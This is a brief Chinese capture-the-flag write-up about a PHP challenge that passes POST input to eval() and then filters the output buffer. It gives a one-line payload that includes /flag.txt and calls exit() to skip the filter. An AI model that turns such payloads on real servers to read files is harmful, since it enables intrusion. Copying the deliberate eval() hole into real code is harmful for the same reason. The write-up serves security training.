命令执行:缓冲区你快停停吧/ob_get_contents();

payload:

c=include('/flag.txt');exit(0);

 

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c']; 
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

本题涉及到的核心函数:ob_get_contents();
该函数会得到输出缓冲区的内容
这个过程如下:

函数ob_get_contents()在ob_end_clean()前面来获得缓冲区的内容。
此时在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作。
我们可以执行php代码让后面的匹配缓冲区不执行直接退出
具体操作:c=include(‘/flag.txt’);exit(0);

RIPRO主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
天云网络培训 » 命令执行:缓冲区你快停停吧/ob_get_contents();

天云安全,多年安全积累,值得信赖

立即查看 了解详情